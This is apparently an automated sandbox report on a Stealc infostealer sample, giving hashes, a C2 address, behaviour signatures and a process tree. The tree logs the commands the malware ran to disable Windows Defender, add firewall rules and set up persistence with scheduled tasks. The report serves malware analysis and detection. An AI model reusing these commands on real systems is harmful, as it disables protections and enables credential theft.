Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    25s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/01/2024, 19:07

General

  • Target

    file.exe

  • Size

    23KB

  • MD5

    13e50553cf74404e0667de093b05d4bb

  • SHA1

    d2b4e780b13305b25cba7cd3b2259d94d84120a8

  • SHA256

    8f1db790b8dcd0cfa72966ee8702bfd44c52600a290e40285b21bd6f356c12c5

  • SHA512

    23f9cbf9e32dbe4f5238e10d9b41d47adb80815122d69c2717e35b1a166c0b45a4767bba52c8c793a2d73f8abe4d9abd0ac57e62b1490d4ef86b3ec639d2a18c

  • SSDEEP

    384:2uBq0csxekW8SepChIaSpZAuIrl/6Hx4QZb7DFN24uNDZOEv+45GoGCJEF8ZpHbY:cS8oHhxNhuLOyrEFiR1tM

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.79

Attributes
  • url_path

    /3886d2276f6914c4.php

rc4.plain

Signatures

  • Stealc

    Stealc is an infostealer written in C++.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 8 IoCs
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 14 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
      PID:3148
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\file.exe" -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3844
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        2⤵
        • Drops startup file
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3112
        • C:\Users\Admin\Pictures\n6cr1MzimesW2IYLJoVYQHbE.exe
          "C:\Users\Admin\Pictures\n6cr1MzimesW2IYLJoVYQHbE.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:64
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3984
          • C:\Users\Admin\Pictures\n6cr1MzimesW2IYLJoVYQHbE.exe
            "C:\Users\Admin\Pictures\n6cr1MzimesW2IYLJoVYQHbE.exe"
            4⤵
            • Executes dropped EXE
            PID:5236
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
                PID:5492
              • C:\Windows\system32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                5⤵
                  PID:5436
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                    6⤵
                    • Modifies Windows Firewall
                    PID:5524
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                    PID:5700
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    5⤵
                      PID:5288
                • C:\Users\Admin\Pictures\VfHUbzC7grBBGKOzNMh38haM.exe
                  "C:\Users\Admin\Pictures\VfHUbzC7grBBGKOzNMh38haM.exe"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:380
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4672
                  • C:\Users\Admin\Pictures\VfHUbzC7grBBGKOzNMh38haM.exe
                    "C:\Users\Admin\Pictures\VfHUbzC7grBBGKOzNMh38haM.exe"
                    4⤵
                    • Executes dropped EXE
                    • Modifies data under HKEY_USERS
                    • Suspicious use of WriteProcessMemory
                    PID:4544
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      5⤵
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4708
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                      5⤵
                        PID:6024
                        • C:\Windows\system32\netsh.exe
                          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                          6⤵
                          • Modifies Windows Firewall
                          PID:6072
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        5⤵
                          PID:916
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          5⤵
                            PID:6004
                          • C:\Windows\rss\csrss.exe
                            C:\Windows\rss\csrss.exe
                            5⤵
                              PID:4972
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                6⤵
                                  PID:5916
                                • C:\Windows\SYSTEM32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  6⤵
                                  • Creates scheduled task(s)
                                  PID:5260
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  6⤵
                                    PID:5668
                                  • C:\Windows\SYSTEM32\schtasks.exe
                                    schtasks /delete /tn ScheduledUpdate /f
                                    6⤵
                                      PID:5800
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      6⤵
                                        PID:5420
                                      • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                        6⤵
                                          PID:4424
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                          6⤵
                                          • Creates scheduled task(s)
                                          PID:1548
                                        • C:\Windows\windefender.exe
                                          "C:\Windows\windefender.exe"
                                          6⤵
                                            PID:3564
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                              7⤵
                                                PID:5980
                                      • C:\Users\Admin\Pictures\YVOCFR0hTvMU7W9trUbIFHGq.exe
                                        "C:\Users\Admin\Pictures\YVOCFR0hTvMU7W9trUbIFHGq.exe" PeJj3z5KgQO+REOMHfxRWZMfrERTkhHmRUWETPcQX9Iwim5oqDrINyf9NcQnEA==
                                        3⤵
                                        • Executes dropped EXE
                                        PID:1504
                                      • C:\Users\Admin\Pictures\89njvTzyDbaCJr8QbkUCJUri.exe
                                        "C:\Users\Admin\Pictures\89njvTzyDbaCJr8QbkUCJUri.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Suspicious use of WriteProcessMemory
                                        PID:5004
                                        • C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
                                          C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          • Suspicious use of WriteProcessMemory
                                          PID:976
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
                                            5⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:2060
                                        • C:\Users\Admin\AppData\Local\Temp\nsbE215.tmp
                                          C:\Users\Admin\AppData\Local\Temp\nsbE215.tmp
                                          4⤵
                                          • Executes dropped EXE
                                          • Checks processor information in registry
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4172
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nsbE215.tmp" & del "C:\ProgramData\*.dll"" & exit
                                            5⤵
                                              PID:5596
                                              • C:\Windows\SysWOW64\timeout.exe
                                                timeout /t 5
                                                6⤵
                                                • Delays execution with timeout.exe
                                                PID:6100
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 3416
                                              5⤵
                                              • Program crash
                                              PID:2120
                                        • C:\Users\Admin\Pictures\iBgxtzmI6EVeizkD8LA9mHQL.exe
                                          "C:\Users\Admin\Pictures\iBgxtzmI6EVeizkD8LA9mHQL.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          PID:4736
                                        • C:\Users\Admin\Pictures\EZU6WXBBGzSK2p48DGqry3Dd.exe
                                          "C:\Users\Admin\Pictures\EZU6WXBBGzSK2p48DGqry3Dd.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          • Suspicious use of WriteProcessMemory
                                          PID:2516
                                          • C:\Users\Admin\AppData\Local\Temp\7zSD949.tmp\Install.exe
                                            .\Install.exe
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of WriteProcessMemory
                                            PID:2392
                                            • C:\Users\Admin\AppData\Local\Temp\7zSDC37.tmp\Install.exe
                                              .\Install.exe /LzfYdidLoSR "385118" /S
                                              5⤵
                                              • Checks BIOS information in registry
                                              • Checks computer location settings
                                              • Executes dropped EXE
                                              • Drops file in System32 directory
                                              • Enumerates system info in registry
                                              • Suspicious use of WriteProcessMemory
                                              PID:4804
                                              • C:\Windows\SysWOW64\forfiles.exe
                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                6⤵
                                                  PID:880
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                    7⤵
                                                      PID:1784
                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                        8⤵
                                                          PID:2596
                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                          8⤵
                                                            PID:4004
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                        6⤵
                                                          PID:4500
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DufnooWHNFUn" /t REG_DWORD /d 0 /reg:32
                                                            7⤵
                                                              PID:5864
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /CREATE /TN "ggQPsJOUl" /SC once /ST 15:03:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                            6⤵
                                                            • Creates scheduled task(s)
                                                            PID:5612
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /run /I /tn "ggQPsJOUl"
                                                            6⤵
                                                              PID:5764
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /DELETE /F /TN "ggQPsJOUl"
                                                              6⤵
                                                                PID:5860
                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                schtasks /CREATE /TN "bmfUAJAHieefCXsdaD" /SC once /ST 19:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\nfxPIWAHevJCnXs\rwqONMa.exe\" hp /iwsite_idWWz 385118 /S" /V1 /F
                                                                6⤵
                                                                • Creates scheduled task(s)
                                                                PID:1632
                                                        • C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe
                                                          "C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe" --silent --allusers=0
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • Enumerates connected drives
                                                          PID:3456
                                                          • C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe
                                                            C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.66 --initial-client-data=0x2bc,0x2e4,0x2e8,0x2c0,0x2ec,0x708d9558,0x708d9564,0x708d9570
                                                            4⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:2888
                                                          • C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe
                                                            "C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=3456 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240126190744" --session-guid=2f407672-e065-4e92-9817-ab7f8d3467dd --server-tracking-blob=MzFhODNmNzYzOTgyNDU2NmM1ZDI4NDY2NjYwZWFjZGQ0NGVmNjRiYjgzNTgwYzc5ODMzOTA0N2Q3M2E5ZmE3ZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwNjI5NjA1MS4yMTE0IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiIwZjhiY2IxMS0zOWFhLTRiODctYTY3ZC03NjcyMGRkODY4NjgifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=0805000000000000
                                                            4⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Enumerates connected drives
                                                            PID:3576
                                                            • C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe
                                                              C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.66 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2c0,0x2f8,0x6dd49558,0x6dd49564,0x6dd49570
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              PID:3608
                                                          • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\xvofXBg2KSpOqy7HjpT4bDAK.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\xvofXBg2KSpOqy7HjpT4bDAK.exe" --version
                                                            4⤵
                                                              PID:2120
                                                            • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe"
                                                              4⤵
                                                                PID:5328
                                                              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe" --version
                                                                4⤵
                                                                  PID:5520
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                                                            1⤵
                                                            • Creates scheduled task(s)
                                                            PID:2096
                                                          • C:\Windows\SysWOW64\chcp.com
                                                            chcp 1251
                                                            1⤵
                                                              PID:1912
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                              1⤵
                                                                PID:1124
                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                  2⤵
                                                                    PID:4968
                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                    2⤵
                                                                      PID:3248
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                    1⤵
                                                                      PID:5824
                                                                      • C:\Windows\system32\gpupdate.exe
                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                        2⤵
                                                                          PID:3248
                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.16 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0x1072614,0x1072620,0x107262c
                                                                        1⤵
                                                                          PID:5636
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4172 -ip 4172
                                                                          1⤵
                                                                            PID:5712
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                            1⤵
                                                                              PID:3156
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                              1⤵
                                                                                PID:6140
                                                                              • C:\Windows\system32\gpscript.exe
                                                                                gpscript.exe /RefreshSystemParam
                                                                                1⤵
                                                                                  PID:3956
                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                  sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                                  1⤵
                                                                                  • Launches sc.exe
                                                                                  PID:4184
                                                                                • C:\Windows\windefender.exe
                                                                                  C:\Windows\windefender.exe
                                                                                  1⤵
                                                                                    PID:5532
                                                                                  • C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\nfxPIWAHevJCnXs\rwqONMa.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\nfxPIWAHevJCnXs\rwqONMa.exe hp /iwsite_idWWz 385118 /S
                                                                                    1⤵
                                                                                      PID:5808
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD 